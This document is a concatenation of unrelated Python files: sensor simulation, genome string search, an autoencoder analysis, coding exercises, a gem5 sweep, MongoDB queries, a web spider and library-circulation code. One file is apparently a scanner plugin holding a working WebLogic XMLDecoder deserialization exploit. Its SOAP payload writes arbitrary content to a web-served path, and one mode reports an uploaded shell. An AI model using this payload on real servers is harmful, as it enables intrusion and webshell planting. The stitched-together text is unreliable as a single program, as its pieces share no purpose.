from include.data_loader import SimuData
from matplotlib import pyplot as plt

def set_sensor_frequencies(fs_imu=50, fs_gps=10):
    return fs_imu, fs_gps

def set_sensor_noise(std_accel=0.25, stg_gyro=0.15, std_pos=3, std_spd=0.5):
    return std_accel, stg_gyro, std_pos, std_spd

def plot_gps_pos(data, disp=True, multi_plot=False) -> None:
    if disp:
        fig, ax = plt.subplots()
        ax.plot(data["pos_x (m)"], data["pos_y (m)"], label="noisy positions")
        ax.plot(data["ref_pos_x (m)"], data["ref_pos_y (m)"], label="true positions")
        ax.set_xlabel("X (m)")
        ax.set_ylabel("Y (m)")
        ax.legend()
        if not multi_plot:
            plt.show()

def plot_gps_spd(data, disp=True, multi_plot=False) -> None:
    data_name = list(data)
    y_labels = ['vx (m/s²)', 'vy (m/s²)', 'vz (m/s²)', 'v_norm (m/s)']
    if disp:
        fig, ax = plt.subplots(4, 1, sharex=True)
        for ind, name in enumerate(data_name[4:]):
            ax[ind].plot(data[name], label="noisy data")

        for ind, name in enumerate(data_name[:4]):
            ax[ind].plot(data[name], label="ref data")
            ax[ind].set_ylabel(y_labels[ind])
            ax[ind].legend()
        if not multi_plot:
            plt.show()

def plot_imu_accel(data, disp=True, multi_plot=False) -> None:
    data_name = list(data)
    y_labels = ['ax (m/s²)', 'ay (m/s²)', 'az (m/s²)']
    if disp:
        fig, ax = plt.subplots(3, 1, sharex=True)
        for ind, name in enumerate(data_name[3:]):
            ax[ind].plot(data[name], label="noisy data")

        for ind, name in enumerate(data_name[:3]):
            ax[ind].plot(data[name], label="ref data")
            ax[ind].set_ylabel(y_labels[ind])
            ax[ind].legend()
        if not multi_plot:
            plt.show()

def plot_imu_gyro(data, disp=True, multi_plot=False) -> None:
    data_name = list(data)
    y_labels = ['gx (m/s²)', 'gy (m/s²)', 'gz (m/s²)']
    if disp:
        fig, ax = plt.subplots(3, 1, sharex=True)
        for ind, name in enumerate(data_name[3:]):
            ax[ind].plot(data[name], label="noisy data")

        for ind, name in enumerate(data_name[:3]):
            ax[ind].plot(data[name], label="ref data")
            ax[ind].set_ylabel(y_labels[ind])
            ax[ind].legend()
        if not multi_plot:
            plt.show()

def run_data_simulation() -> None:
    data_sim = SimuData(path="../data/simu_dataset_1")

    imu_fs, gps_fs = set_sensor_frequencies()
    data_sim.set_imu_frequency(fs=imu_fs)
    data_sim.set_gps_frequency(fs=gps_fs)

    accel_std, gyro_std, pos_std, spd_std = set_sensor_noise()

    data_sim.set_accel_data_noise(std=accel_std)
    data_sim.set_gyro_data_noise(std=gyro_std)
    data_sim.set_gps_pos_data_noise(std=pos_std)
    data_sim.set_gps_spd_data_noise(std=spd_std)

    accel, gyro = data_sim.get_imu_data()
    pos, spd = data_sim.get_gps_data()

    plot_gps_pos(pos, multi_plot=True)
    plot_gps_spd(spd)
    plot_imu_accel(accel)
    plot_imu_gyro(gyro)

def main():
    run_data_simulation()

if __name__ == "__main__":
    main()


from TP1 import *
from TP2 import *
from TP3 import *

from time import *

def search_fasta_naive(file, seq, p = True):
    """
@file : path of a file.
@seq  : Sequence needs to be searched.
@p    : determine print or not.
    """
    gene = print_fasta_sequences(file, 1)
    for i in range(len(gene)):
        if gene[i:i+len(seq)] == seq:
            if p : print(i)
            return i

def suffix_array(file):
    """
@file : the path of a file.
I found that there's a relevance between the length of a surfixe and its order. So we just need to construct a list with all the surfixes then sort it, and print its length.
    """
    t = time()
    gene = print_fasta_sequences(file, 1)
    suffixes = []
    for i in range (len(gene)):
        suffixes += [gene[i:]]
        suffixes = sorted(suffixes)
    for s in suffixes:
        print(len(gene)-1-len(s), end='')
    print()
    print(time()-t,'s')

'''
def suffix_array(gene):
 t = time()
 suffixes = []
 for i in range (len(gene)):
  suffixes += [gene[i:]]
 suffixes = sorted(suffixes)
 for s in suffixes:
  print(len(gene)-len(s), end=' ')
 print()
 print(time()-t,'s')
'''


# -*- coding:utf-8 -*-
# weblogic_XML反序列化

from ServiceScanModel.models import ServiceScan
from VulnScanModel.models import VulnScan
from ..requestClass import Requests

xml_payload = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java><java version="1.4.0" class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
    <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/{file}</string>
    <void method="println">
<string>
    {content}
    </string>
    </void>
    <void method="close"/>
    </object></java></java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>
'''

class POC:
    def __init__(self, service):
        self.service = service
        self.requestUtil = Requests(service.cookies)
        self.result = False

    def xml_deserialize(self, file, content, type="poc"):
        payload = xml_payload.format(file=file, content=content)
        self.requestUtil.post(self.service.url + "/wls-wsat/CoordinatorPortType", header={"Content-Type": "text/xml"},
                         data=payload)
        if type == "poc":
            resp = self.requestUtil.get(self.service.url + "/bea_wls_internal/%s"%file)
            if content in resp.text:
                return ["weblogic_XML反序列化", 'Path: /bea_wls_internal/passerW.txt<br>Content: passer-W']
        else:
            return "上传成功，shell地址：\n%s"%(self.service.url+"/bea_wls_internal/%s"%file)

    def fingerprint(self):
        if self.service.url:
            resp = self.requestUtil.get(self.service.url+"/wls-wsat/CoordinatorPortType")
            if resp.status_code == 200:
                return True

    def poc(self):
        try:
            return self.xml_deserialize(self.service.url, "passerW.txt", "passer-W")
        except:
            return []


from Brucella import *
from Legionella import *
from Shigella_sonnei import *
from Yersinia_pestis import *
import time

def remove(string,char):
    return ''.join(letter for letter in string if letter!=char)

def hash_sequence(genome,k):
    genome=remove(genome,"\n")
    retDic={}
    ## until last possible beginning of substring of length k
    for i in range(len(genome)-k+1):
        ## if substring not yet added to dic, initiate empty list as value
        if genome[i:i+k] not in retDic.keys():
            retDic[genome[i:i+k]]=[]
        ## add index to substring's value list.
        retDic[genome[i:i+k]].append(i)
    return retDic

def intersects(genome1,genome2,k):
    genome1=remove(genome1,"\n")
    genome2=remove(genome2,"\n")
    retVal=None
    shortDic={}
    longGenome=""
    ## create hash_sequence for short genome, save long genome to var.
    if len(genome1)<len(genome2):
        shortDic=hash_sequence(genome1,k)
        longGenome=genome2
    else:
        shortDic=hash_sequence(genome2,k)
        longGenome=genome1
    ## go over longDic's k-length substrings- if key exists in shortDic keys,
    ## save to retVal, and break from loop.
    for i in range(len(longGenome)-k+1):
        if shortDic.get(longGenome[i:i+k])!=None:
            retVal=longGenome[i:i+k]
            break
    ## delete dict
    del(shortDic)
    return retVal

def bin_search(genome1, genome2, low, high):
    ''' binary search over range of substring lengths. keep maxlength substring.
    '''
    ## no need to remove \n, as it was removed in calling func 'find_max_sub'.
    retVal=None
    while low<=high:
        middle=(low+high)//2
        ## try to get one of the strings using intersect. If string is not null,
        ## (meaning they have a substring of this length, keep the string in
        ## return value, and binary search in all the sizes ABOVE it in the
        ## range (to see if there is a larger one).
        temp = intersects(genome1,genome2,middle)
        if temp!=None:
            retVal=temp
            low=middle+1
        ## else, the largest string size is in the bottom half of the range.
        else:
            high=middle-1
    return retVal

def find_max_sub(genome1, genome2):
    ''' Using powers of 2, find the first power of 2, 2**i, so that there are
        NO common substrings 2**i chars long between the genomes. send 2**i
        and 2**(i-1), as well as the genomes, to bin_search, to find the max
        length string in the range.
    '''
    genome1=remove(genome1,"\n")
    genome2=remove(genome2,"\n")
    ## misnamed- should be MAX POSSIBLE INDEX (last index of shorter genome).
    minLength=min(len(genome1),len(genome2))-1
    ## start at 32 instead of 50.
    i=32
    ## find 1st power of 2 that we don't have a common substring for, and break.
    while i<= minLength:
        temp = intersects(genome1,genome2,i)
        if temp==None:
            break
        i=2*i
    ## if we finished while loop w/o failing to find a substring, search range
    ## between last power of 2 possible and end on shorter genome.
    ## otherwise, search in range found in the loop.
    if i> minLength:
        return bin_search(genome1, genome2, i//2, minLength)
    else:
        return bin_search(genome1, genome2, i//2, i)

## MAIN- list of genomes, with corresponding list of genome names. go over the
## genomes, and for each genome, pair it with all the genomes that come AFTER
## in the list (because the ones before have been paired with it before).
genomes=[brucella,legionella,shigella,yersinia]
genome_names=["brucella","legionella","shigella","yersinia"]
for i in range(len(genomes)):
    for j in range(i+1,len(genomes)):
        temp=find_max_sub(genomes[i],genomes[j])
        print(genome_names[i],"& ",genome_names[j],": max intersect length=",\
              len(temp),", example='",temp,"'\n\n")


import sys
import os
import numpy as np
import tables as tb
from plots import plot_slices
from PCA_Utils import transform_PCA
from PCA_Utils import score_reconstructions

# Make sure that caffe is on the python path:
caffe_root = '/projects/francisco/repositories/caffe/'  # this file is expected to be in {caffe_root}/examples
sys.path.insert(0, caffe_root + 'python')
import caffe

# GPU mode
caffe.set_device(0)
caffe.set_mode_gpu()

input_node = 'train_data_1'
label_node = 'train_classes_1'

data_path = '/projects/francisco/data/caffe/standardized/HC_sim_cat4_data_2.h5'

data = tb.open_file(data_path, 'r')
X = data.get_node('/' + input_node)[:]
y = data.get_node('/' + label_node)[:]
data.close()

model_path = '/projects/francisco/repositories/NI-ML/models/deepnets/caffe/autoencoder/simencoder/archive/2015-07-31-14-23/'

net_file = 'net.prototxt'
model_file = '_iter_30000.caffemodel'
os.chdir(caffe_root)

input_node = 'train_data_1'
label_node = 'train_classes_1'

os.chdir(model_path)
net = caffe.Net(net_file, model_file, caffe.TEST)
code = net.blobs['code']

train_X = X[1024:]
train_y = y[1024:]
test_X = X[0:1024]
test_y = y[0:1024]

test_y = test_y.reshape(1024, 1)

# Run fused test data through AE and grab  reconstructions
input_shape = test_X.shape

# Grab the input layer:
input_layer = net.blobs[input_node]
# The current input layer shape:
input_layer.data.shape
# Reshape the input layer to accept the a larger batch of test data:
input_layer.reshape(*test_X.shape)
input_layer.data[...] = test_X

net.blobs['output_sigmoid'].reshape(*test_X.shape)
net.reshape()

out=net.forward()

X_hat_ae = net.blobs['output_sigmoid'].data

# Do some PCA vs AE analysis:
# Extract some principal components

X_hat_pca = transform_PCA(code.data.shape[1], train_X, test_X)

# DICE Scores for PCA
D_pca = score_reconstructions(test_X, X_hat_pca)

# DICE Scores for AE
D = score_reconstructions(test_X, X_hat_ae)

mappings = tb.open_file('/projects/francisco/data/caffe/standardized/data_mappings.h5', 'r')
baseline_mask = mappings.get_node('/r_datamask')[:]
volmask = mappings.get_node('/r_volmask')[:]
mappings.close()

# Visualize some random slices:
ae_pca = []
for i in range(6):
    i = np.random.random_integers(test_X.shape[0])
    ae_pca.append((X_hat_pca[i], 'PCA X_hat{}'.format(i)))
    ae_pca.append((test_X[i], 'X{}'.format(i)))
    ae_pca.append((X_hat_ae[i], 'AE X_hat {}'.format(i)))

baseline_shape = volmask.shape
plot_list = []
plot_slices(ae_pca, baseline_shape, baseline_mask, binarize=False, cols=3)


# exercício 103
# função para apresentar ficha de um jogador

def play(p, g):
    if p.isspace() or p == '': # se o nome do jogador não for informado / for informado espaços ao programa, ele passa o valor desconhecido
        p = '<desconhecido>'
    if g.isnumeric():
        g = int(g)
    else:
        g = 0 # se o número de gols não for informado / for informado espaços ao programa, ele passa o valor 0
    return f'O jogador {p} fez {g} gols.'

player = input('Nome do jogador: ').capitalize()
goals = input('Número de gols: ')
print(play(player, goals))


import os
import math
cpu_clock = [[0 for i in range(33)] for j in range(5)]
cpu_clock[1][32] = 4.9
cpu_clock[2][32] = 2.8
cpu_clock[4][32] = 2.4

cpu_clock[1][16] = 4.5
cpu_clock[2][16] = 2.6
cpu_clock[4][16] = 2.4

cpu_clock[1][8] = 3.7
cpu_clock[2][8] = 2.5
cpu_clock[4][8] = 2.3

cpu_clock[1][4] = 3.1
cpu_clock[2][4] = 2.3
cpu_clock[4][4] = 2.1

cpu_clock[1][2] = 2.6
cpu_clock[2][2] = 2.1
cpu_clock[4][2] = 1.9

cpu_clock[1][1] = 2.1
cpu_clock[2][1] = 1.8
cpu_clock[4][1] = 1.8

l2acctime = [0 for i in range(22)]
l2acctime[1] = 1.033
l2acctime[2] = 1.160
l2acctime[4] = 1.172
l2acctime[8] = 1.147
l2acctime[16] = 1.289

l1d_sizes = [4,8,16,32,64,128]
l1d_assocs = [1,2,4]
l2_size = 1024
l2_assocs = [1,2,4,8,16]
#core = 128/l1d_size
opt = input("pls choose the benchmk:\n1.fft\n2.cholesky\n3.radix\n4.ocean\n5.lu\n")
for l1d_size in l1d_sizes:
    for l2_assoc in l2_assocs:
        for l1d_assoc in l1d_assocs:
            core = 128/l1d_size
            fl2_latency = math.ceil(cpu_clock[l1d_assoc][core]*l2acctime[l2_assoc])
            l2_latency = int(fl2_latency)
            if core+(l1d_size/2)*core+(l2_size/32) > 128:
                continue
            if core+(l1d_size/2)*core+(l2_size/32) < 96:
                continue
            if opt == 1:
                benchmk = "fft"
                run =  " -c ~/gem5/splash2/fft/FFT -o " + '"-p'+str(core)+'"'
            elif opt == 2:
                benchmk = "cholesky"
                run = " -c ~/gem5/splash2/cholesky/CHOLESKY -o " + '"-p'+str(core)+ " ./inputs/d750.O" + '"'
            elif opt == 3:
                benchmk = "radix"
                run =  " -c ~/gem5/splash2/radix/RADIX -o " + '"-p'+str(core) + '"'
            elif opt == 4:
                benchmk = "ocean"
                run =  " -c ~/gem5/splash2/ocean/contiguous_partitions/OCEAN -o " + '"-n130 -p'+str(core) + '"'
            elif opt == 5:
                benchmk = "lu"
                run =  " -c ~/gem5/splash2/lu/contiguous_blocks/LU -o " + '"-p'+str(core) + '"'
            resultfile =  "~/gem5/results/"+ benchmk+ "/l1_"+ str(l1d_size) + "_l1d_ass"+str(l1d_assoc) +"_l2_"+ str(l2_size) +"_l2_ass" + str(l2_assoc) + "_core" + str(core)+ "_l2_latency" + str(l2_latency) +"/"
            cmd = "~/gem5/build/ALPHA/gem5.opt -d " + resultfile + " ~/gem5/configs/example/se.py -n "+str(core)+" --cpu-type=detailed --cpu-clock="+ str(cpu_clock[l1d_assoc][core])+"GHz --mem-type=SimpleMemory --caches --l2cache --l1d_size="+str(l1d_size) + "kB --l1d_assoc="+ str(l1d_assoc) +" --l2_size="+str(l2_size)+"kB --l2_assoc="+str(l2_assoc)+" --l2_latency="+str(l2_latency)+ run
            try:
                os.system(cmd)
            except KeyboardInterrupt:
                pass
          #  finally:
           #     os.system("rm -rf "+resultfile)
            #    print "Error!Deleted!"


#Sriracha Sauce-Sara Aseer and Damian Wasilewicz
#SoftDev pd06
#K06 -- Yummy Mongo Py
#2019-02-06

import pymongo

#setup
SERVER_ADDR = "68.183.28.211"
connection = pymongo.MongoClient(SERVER_ADDR)
db = connection.test
collection = db.restaurants

#Specified BOROUGH
b = "Queens"
def bFind(borough):
    found = collection.find({"borough":borough})
    for item in found:
        print("Displaying restaurants in borough: " + borough + "\n")
        print("Name: "+ item['name'] + "\n")

bFind(b)

#Specified ZIPCODE

def zFind(zipcode):
    found = collection.find({"address.zipcode":zipcode})
    for item in found:
        print("Displaying restaurants in zipcode: " + zipcode + "\n")
        print("ZipCode: "+ item['name']+ "\n")

zFind("11219")
zFind("11374")

#Specified Zip and Grade
def zsFind(zipcode,g):
    found = collection.find({"address.zipcode":zipcode,"grades.grade":g})
    for item in found:
        print("Displaying restaurants in zipcode: " + zipcode + " and grade: " + g + "\n")
        print("Zip + Grade: "+ item['name']+ "\n")

zsFind("11374","A")
zsFind("11374","C")

#All restaurants in Zip w/ below score
def sFind(zipcode,s):
    found = collection.find({"address.zipcode":zipcode,"grades.score":{"$lt": s}})
    for item in found:
        print("displaying with zip: " + zipcode + " and score below :" + s + "\n")
        print("Zip+Score: " + item['name']+ "\n")

sFind("11374",3)

def superFind(b,c,s):
    found = collection.find({"borough":b, "cuisine": c, "grades.score":{"$gt": s}})
    for item in found:
        print("Borough+Cuisine+Score(above): " + item['name'])

superFind("Manhattan","Hamburgers",8)


#!/bin/python3

import math
import os
import random
import re
import sys

def kangaroo(x1, v1, x2, v2):
    # We will need to keep track of the number of jumps
    # increment each iteration.
    # calculate the distance each roo is jumping each iteration,
    # if they converge print YES else print NO
    k1 = x1 # these are the initial positions of each roo
    k2 = x2
    jumps = 0
    # depending on where they start and their rate of change we can determine if they
    # will ever even have a chance at converging.
    if v1 == v2 and k1 != k2:
        return "NO"
    if (k1 > k2 and v1 > v2) or (k1 < k2 and v1 < v2):
        return "NO"
    if (k1 > k2):
        while k1 > k2:
            jumps += 1
            k1 = (v1*(jumps)) + x1
            k2 = (v2*(jumps)) + x2
            if k1 == k2:
                return "YES"
        return "NO"
    else:
        while k1 < k2:
            jumps += 1
            k1 = (v1*(jumps)) + x1
            k2 = (v2*(jumps)) + x2
            if k1 == k2:
                return "YES"
        return "NO"

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    x1V1X2V2 = input().split()

    x1 = int(x1V1X2V2[0])

    v1 = int(x1V1X2V2[1])

    x2 = int(x1V1X2V2[2])

    v2 = int(x1V1X2V2[3])

    result = kangaroo(x1, v1, x2, v2)

    fptr.write(result + '\n')

    fptr.close()


'''
Search Insert Position
<T> Array

int [] nums, sorted, distinct
int target

Return the index if the target is found
if not return the index where it would be iif it were inserted in order

Simple brute force

'''
class Solution:
    def searchInsert(self, nums: List[int], target: int) -> int:

        found = 0

        for i in range(len(nums)):

            if nums[i]>=target:
                found = 1
                break

        return i + (1-found)


# 数字人体挑战赛
# coding = utf-8

import kfbReader
import cv2 as cv
import numpy as np
import json
import os

'''
# 函数名称：Init()
# 函数功能：初始化函数
# 传入参数：scale：读取倍率
# 传出参数：filenamelist：返回一个包含文件和文件夹名字的列表
'''
def Init():
	# 设置文件路径
	global filepath
	filepath = "E:\\2_Competitions\\2_14_数字人体\\3_技术资料\\0_Data\\pos_0\\"
	# 设置读取倍率
	global scale
	scale =  20

'''
# 函数名称：ReadReturnFileNames()
# 函数功能：读取指定文件夹内，所有的文件名字，
# 		   如果是文件会读取整个文件名，包括后缀名，
# 		   如果是文件夹，也会读取文件夹的名字
# 传入参数：filename：传入要读取的文件夹路径，字符类型
# 传出参数：filenamelist：返回一个包含文件和文件夹名字的列表
'''
def ReadReturnFileNames(filepath):
	# filepath = filepath
	filenamelist = []															# 新建一个空的列表，用来存储读取到的文件名字
	for files in os.listdir(filepath):  										# 不仅仅是文件，当前目录下的文件夹也会被认为遍历到
			filenamelist.append(files)
	return filenamelist

Init()																			# 执行初始化函数

filepath = "E:\\2_Competitions\\2_14_数字人体\\3_技术资料\\0_Data\\pos_0\\"
filenamelist = ReadReturnFileNames(filepath)									# 输入路径，返回文件名列表

for filename in filenamelist:
	filename = filename[:-4]													# 消除文件名字的后缀 .kfb
	file1 = "E:\\2_Competitions\\2_14_数字人体\\3_技术资料\\0_Data\\pos_0\\"+filename+".kfb"
	label1 = "E:\\2_Competitions\\2_14_数字人体\\3_技术资料\\0_Data\\labels\\"+filename+".json"

	# 实例化 reader 类，读取提供的图像
	read = kfbReader.reader()
	read.ReadInfo(file1, scale, True)

	# 定义存储数据的空列表
	roi_x = []																	# 用来存储 roi 数据
	roi_y = []
	roi_w = []
	roi_h = []
	pos_x = []							# 用来存储 pos 数据
	pos_y = []
	pos_w = []
	pos_h = []
	roi   = []							# 用来存储绘制的 roi 图形

	# 打开 label 文件
	with  open(label1,"r") as f:
		labelContent = json.load(f)		# 获取 label1 标签内容

	# 遍历 label 文件中的标记框的参数
	for dic in labelContent:
		# 如果属于 roi 类，则存储到 roi 开头的列表
		if dic["class"] ==  "roi":
			roi_x.append(dic['x'])
			roi_y.append(dic['y'])
			roi_w.append(dic['w'])
			roi_h.append(dic['h'])
		# 如果属于 pos 类，则存储到 pos 开头的列表
		if dic["class"] ==  "pos":
			pos_x.append(dic['x'])
			pos_y.append(dic['y'])
			pos_w.append(dic['w'])
			pos_h.append(dic['h'])
	# 打印提取到的 roi 和 pos 数据
	# print(roi_x,'roi_x',roi_y,'roi_y',roi_w,'roi_w',roi_h,'roi_h')
	# print(pos_x,'pos_x',pos_y,'pos_y',pos_w,'pos_w',pos_h,'pos_h')

	# 利用数据画出 roi 图和 pos 标记图
	for i in range(len(roi_x)):
		# 利用官方 sdk 读取 kfb 图片，存储到 roi 数组中
		roi.append( read.ReadRoi(roi_x[i], roi_y[i], roi_w[i], roi_h[i], scale) )
		for j in range(len(pos_x)):
			# 循环读取 pos 数据， 绘制矩形框标记在 roi 区域
			x = pos_x[j] - roi_x[i]
			y = pos_y[j] - roi_y[i]
			w = pos_w[j] + x
			h = pos_h[j] + y
			if x>0 and x<10000 :
				# 打印绘制矩形框的数据
				# print(x,y,w,h,'rectangle')
				#cv.rectangle(roi[i], (x,y), (w,h), (0,255,0), 2)
		# 显示已经标记绿色矩形框的图
		# cv.imshow('roi'+str(i), roi[i])
		# 保存处理过的图像
				cv.imwrite(str(filename)+'_'+str(i)+'.jpg', roi[i])
				# 写入文件后再次打开，并保存标记区域
				img = cv.imread(str(filename)+'_'+str(i)+'.jpg')
				imgsave = img[y:h,x:w]
				cv.imwrite(str(filename)+'_roi'+str(i)+'_pos'+str(j)+'.jpg',imgsave)
	# 将列表清空，方便再次存储新的图像数据
	roi_x = []							# 用来存储新的 roi 数据
	roi_y = []
	roi_w = []
	roi_h = []
	pos_x = []							# 用来存储新的 pos 数据
	pos_y = []
	pos_w = []
	pos_h = []
	roi   = []							# 用来存储新的绘制的 roi 图形


import scrapy

class GilenofilhoSpider(scrapy.Spider):

    name = 'gilenofilho'
    allowed_domains = ['www.gilenofilho.com.br']
    start_urls = [
        'http://www.gilenofilho.com.br/',
    ]

    def parse(self, response):
        links = response.xpath("//div[@class='col-md-8']/article/a/@href")
        for link in links.extract():
            yield scrapy.Request(
                'http://www.gilenofilho.com.br{}'.format(link),
                self.parse_post
            )
        next_page = response.xpath(
            "//a[@aria-label='Next']/@href").extract_first()
        if next_page:
            yield scrapy.Request(
                url='http://www.gilenofilho.com.br{}'.format(next_page),
                callback=self.parse
            )

    def parse_post(self, response):
        texts = response.css(
            "article > p:nth-child(n+3):nth-last-child(n+5)::text, article > ul > li::text"
        ).extract()
        yield {
            'text': '\n'.join(texts),
            'category': response.xpath(
                "//main/div[1]/div[1]/article/p[1]/a[2]/text()"
            ).extract_first()
        }


def func(k):
    if k == M:
        for m in range(M):
            print(arr[m],end = ' ')
        print()
        return
    for i in range(1,N+1):
        if not visit[i]:
            arr[k] = i
            visit[i] = 1
            func(k+1)
            visit[i] = 0
N,M = map(int,input().split())
arr = [0] * M
visit = [0] * (N+1)
func(0)


__author__ = 'tb'

import json

from flask_restful import reqparse, Resource
from flask_restful import request
from checker.common.webservice.decorator.format_output  import format_output
from checker.common.system.ServiceLoader import ServiceLoader
from checker.common.exceptions.IllegalArgumentException import IllegalArgumentException

class ProjectsAdd(Resource):

    def __init__(self):

        self.projects_service = ServiceLoader.load("ProjectsService")

    @format_output
    def post(self):
        data = request.json
        project_name = data.get('project_name')
        customer = data.get('customer')
        type = data.get('type')
        try:

            if None in [project_name, customer, type]:
                return {
                           "status": "Error...Data is missing/mispelled"
                }, 404
            project = self.projects_service.insert_project(project_name, customer, type)

            response = {
                'projects': project,
                'status': 'ok, project inserted',

            }
            return response, 200

        except IllegalArgumentException as e:

            return {
                "status": "Error",
                "message": str(e)
            }, 422

        except Exception as e:

            return {
                       "status": "Error",
                       "message": str(e)
            }, 422


# -*- coding: utf-8 -*-
#
# Copyright (C) 2018-2020 CERN.
# Copyright (C) 2018-2020 RERO.
#
# Invenio-Circulation is free software; you can redistribute it and/or modify
# it under the terms of the MIT License; see LICENSE file for more details.

"""Invenio Circulation custom transitions."""

from flask import current_app
from invenio_db import db

from invenio_circulation.proxies import current_circulation

from ..api import can_be_requested, get_available_item_by_doc_pid, \
    get_document_pid_by_item_pid, get_pending_loans_by_doc_pid, \
    is_item_at_desk_available_for_checkout
from ..errors import ItemDoNotMatchError, ItemNotAvailableError, \
    LoanMaxExtensionError, RecordCannotBeRequestedError, \
    TransitionConditionsFailedError, TransitionConstraintsViolationError
from ..transitions.base import Transition
from ..transitions.conditions import is_same_location

def _ensure_valid_loan_duration(loan, initial_loan):
    """Validate start and end dates for a loan."""
    loan.setdefault("start_date", loan["transaction_date"])

    if not loan.get("end_date"):
        get_loan_duration = current_app.config["CIRCULATION_POLICIES"][
            "checkout"
        ]["duration_default"]
        duration = get_loan_duration(loan, initial_loan)
        loan["end_date"] = loan["start_date"] + duration

    is_duration_valid = current_app.config["CIRCULATION_POLICIES"]["checkout"][
        "duration_validate"
    ]
    if not is_duration_valid(loan):
        msg = "The loan duration from '{0}' to '{1}' is not valid.".format(
            loan["start_date"].isoformat(), loan["end_date"].isoformat()
        )
        raise TransitionConstraintsViolationError(description=msg)

def _ensure_item_attached_to_loan(loan):
    """Validate that an item is attached to a loan."""
    if not loan.get("item_pid"):
        msg = "No item assigned to loan '{0}'.".format(loan.id)
        raise TransitionConditionsFailedError(description=msg)

def ensure_same_item(f):
    """Validate that the item PID exists and cannot be changed."""
    def inner(self, loan, initial_loan, **kwargs):
        item_pid = kwargs.get("item_pid")

        if item_pid:
            if not current_app.config["CIRCULATION_ITEM_EXISTS"](item_pid):
                msg = "Item '{0}:{1}' not found in the system".format(
                    item_pid["type"], item_pid["value"]
                )
                raise ItemNotAvailableError(description=msg)

            wrong_pid_value = loan.get("item_pid") and \
                item_pid["value"] != loan["item_pid"]["value"]
            wrong_pid_type = loan.get("item_pid") and \
                item_pid["type"] != loan["item_pid"]["type"]
            if wrong_pid_value or wrong_pid_type:
                msg = (
                    "Cannot change item '{0}:{1}' while performing an "
                    "action on this loan".format(
                        item_pid["type"], item_pid["value"]
                    )
                )
                raise ItemDoNotMatchError(description=msg)

        return f(self, loan, initial_loan, **kwargs)

    return inner

def _update_document_pending_request_for_item(item_pid, **kwargs):
    """Update pending loans on a Document with no Item attached yet.

    :param item_pid: a dict containing `value` and `type` fields to
        uniquely identify the item.
    """
    document_pid = get_document_pid_by_item_pid(item_pid)
    for pending_loan in get_pending_loans_by_doc_pid(document_pid):
        pending_loan["item_pid"] = item_pid
        pending_loan.commit()
        db.session.commit()
        current_circulation.loan_indexer().index(pending_loan)

def _ensure_same_location(item_pid, location_pid, destination, error_msg):
    """Validate that item location is same as given location."""
    if not is_same_location(item_pid, location_pid):
        error_msg += " Transition to '{}' has failed.".format(destination)
        raise TransitionConditionsFailedError(description=error_msg)

def _ensure_not_same_location(item_pid, location_pid, destination, error_msg):
    """Validate that item location is not the same as given location."""
    if is_same_location(item_pid, location_pid):
        error_msg += " Transition to '{}' has failed.".format(destination)
        raise TransitionConditionsFailedError(description=error_msg)

def _validate_item_pickup_transaction_locations(loan, destination, **kwargs):
    """Validate the loan item, pickup and transaction locations."""
    item_location_pid = \
        current_app.config["CIRCULATION_ITEM_LOCATION_RETRIEVER"](
            loan["item_pid"])
    kwargs["item_location_pid"] = item_location_pid
    validate_item_pickup_transaction_locations = current_app.config[
        "CIRCULATION_LOAN_LOCATIONS_VALIDATION"]
    if not validate_item_pickup_transaction_locations(
            loan, destination, **kwargs):
        raise TransitionConditionsFailedError()

def _get_item_location(item_pid):
    """Retrieve Item location based on PID."""
    return current_app.config["CIRCULATION_ITEM_LOCATION_RETRIEVER"](item_pid)

def _ensure_default_pickup_location(loan, context):
    """Set default pickup location if no one."""
    if not context.get("pickup_location_pid") \
            or "pickup_location_pid" not in loan:
        loan['pickup_location_pid'] = _get_item_location(loan['item_pid'])

class ToItemOnLoan(Transition):
    """Action to checkout."""

    def before(self, loan, initial_loan, **kwargs):
        """Validate checkout action."""
        super().before(loan, initial_loan, **kwargs)

        self.ensure_item_is_available_for_checkout(loan)

        _ensure_default_pickup_location(loan, kwargs)

        _ensure_valid_loan_duration(loan, initial_loan)

class ItemAtDeskToItemOnLoan(Transition):
    """Check-out action to perform a loan when item ready at desk."""

    def before(self, loan, initial_loan, **kwargs):
        """Validate checkout action."""
        super().before(loan, initial_loan, **kwargs)

        self.ensure_at_desk_item_is_available_for_checkout(loan)

        _ensure_default_pickup_location(loan, kwargs)

        _ensure_valid_loan_duration(loan, initial_loan)

    def ensure_at_desk_item_is_available_for_checkout(self, loan):
        """Validate that an item at desk is available for checkout."""
        self._check_item_before_availability(loan)

        # patron_pid is mandatory for next steps
        if 'patron_pid' not in loan:
            msg = "Patron not set for loan with pid '{}'".format(loan['pid'])
            raise TransitionConstraintsViolationError(description=msg)

        is_available = is_item_at_desk_available_for_checkout(
            loan['item_pid'],
            loan['patron_pid']
        )
        if not is_available:
            raise ItemNotAvailableError(
                item_pid=loan['item_pid'], transition=self.dest)

def check_request_on_document(f):
    """Decorator to check if the request is on document."""
    def inner(self, loan, initial_loan, **kwargs):
        document_pid = kwargs.get("document_pid")
        if document_pid and not kwargs.get("item_pid"):
            if not can_be_requested(loan):
                msg = "Cannot create a request for the document '{}'".format(
                    loan.get("document_pid")
                )
                raise RecordCannotBeRequestedError(description=msg)

            if self.assign_item:
                available_item_pid = get_available_item_by_doc_pid(
                    document_pid
                )
                if available_item_pid:
                    kwargs["item_pid"] = available_item_pid

        if kwargs.get("item_pid") and not kwargs.get("pickup_location_pid"):
            # if no pickup location was specified in the request,
            # assign a default one
            kwargs["pickup_location_pid"] = _get_item_location(
                kwargs["item_pid"]
            )

        return f(self, loan, initial_loan, **kwargs)
    return inner

class CreatedToPending(Transition):
    """Action to request to loan an item."""

    def __init__(
        self, src, dest, trigger="next", permission_factory=None, **kwargs
    ):
        """Constructor."""
        super().__init__(
            src,
            dest,
            trigger=trigger,
            permission_factory=permission_factory,
            **kwargs
        )
        self.assign_item = kwargs.get("assign_item", True)

    @check_request_on_document
    def before(self, loan, initial_loan, **kwargs):
        """Check if the loan request can be created."""
        super().before(loan, initial_loan, **kwargs)

        if not can_be_requested(loan):
            msg = "Cannot create a request for the loan '{}'".format(loan)
